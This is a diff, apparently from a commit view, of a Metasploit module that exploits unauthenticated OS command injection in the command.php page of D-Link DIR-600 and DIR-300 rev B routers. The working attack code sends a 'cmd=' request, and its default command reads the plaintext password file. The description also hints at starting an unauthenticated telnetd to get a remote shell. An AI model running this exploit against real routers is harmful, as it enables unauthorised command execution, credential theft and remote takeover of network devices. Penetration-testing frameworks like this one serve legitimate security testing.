@@ -13,12 +13,13 @@ class Metasploit3 < Msf::Auxiliary
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php ' ,
16
+ 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution' ,
17
17
'Description' => %q{
18
- Some D-Link Routers are vulnerable to OS Command injection.
18
+ Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are
19
+ vulnerable to OS Command injection.
19
20
You do not need credentials to the webinterface because the command.php
20
21
is accesseble without authentication. You could read the plaintext password
21
- file.
22
+ file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
22
23
Hint: To get a remote shell you could start the telnetd without any authentication.
23
24
} ,
24
25
'Author' => [ 'm-1-k-3' ] ,
@@ -35,14 +36,14 @@ def initialize(info = {})
35
36
register_options (
36
37
[
37
38
Opt ::RPORT ( 80 ) ,
38
- OptString . new ( 'CMD' , [ true , 'The command to execute' , 'cat / var/passwd' ] )
39
+ OptString . new ( 'CMD' , [ true , 'The command to execute' , 'cat var/passwd' ] )
39
40
] , self . class )
40
41
end
41
42
42
43
def run
43
44
uri = '/command.php'
44
45
45
- print_status ( "Sending remote command: " + datastore [ 'CMD' ] )
46
+ print_status ( "#{ rhost } : #{ rport } - Sending remote command: " + datastore [ 'CMD' ] )
46
47
47
48
data_cmd = "cmd=#{ datastore [ 'CMD' ] } ; echo end"
48
49
@@ -63,11 +64,11 @@ def run
63
64
end
64
65
65
66
if res . body . include? "end"
66
- print_status ( "Exploited successfully" )
67
- print_line ( "Command: #{ datastore [ 'CMD' ] } " )
68
- print_line ( "Output: #{ res . body } " )
67
+ print_status ( "#{ rhost } : #{ rport } - Exploited successfully\n " )
68
+ print_line ( "#{ rhost } : #{ rport } - Command: #{ datastore [ 'CMD' ] } \n " )
69
+ print_line ( "#{ rhost } : #{ rport } - Output: #{ res . body } " )
69
70
else
70
- print_status ( "Exploit failed." )
71
+ print_status ( "#{ rhost } : #{ rport } - Exploit failed." )
71
72
end
72
73
end
73
74
end
0 commit comments